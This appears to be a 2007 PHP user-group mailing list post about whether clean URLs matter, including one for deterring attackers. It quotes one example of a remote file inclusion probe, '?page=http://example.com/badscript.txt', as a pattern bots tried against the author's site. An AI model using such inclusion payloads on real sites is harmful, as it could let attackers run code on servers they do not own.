[UPHPU] Passing more than one $_GET variable

[justin]

On 8/29/07, jtaber <jtaber at johntaber.net> wrote:
> Alvaro Carrasco wrote:
> > ...
> > I'm not against pretty urls, I have done them before because *I* think
> > they're cool and they go well with the concepts of REST, but I would
> > argue that right about 0% of non-developer humans actually care what
> > urls look like. It's more of a cool thing for developers to do, than
> > the usability booster people make it out to be.
> >
> One reason I've seen for "clean" urls is that it gives away less
> information to potential hackers - I'm not really sure if this matters
> but maybe it's like locking the screen door.
>

an interesting point. i used to have a site that used the query
"?page=foo". once it was well indexed by google, i got a ton of
automated bot attacks (20-30 a week? it's been a while...) where they
would try urls like "?page=http://example.com/badscript.txt". i built
the CMS right, so they weren't a threat, but it still was a _lot_ of
traffic.

when i switched the site over to clean urls, the bots stopped. completely.

as a side note, i now have a great collection of interesting scripts...

justin
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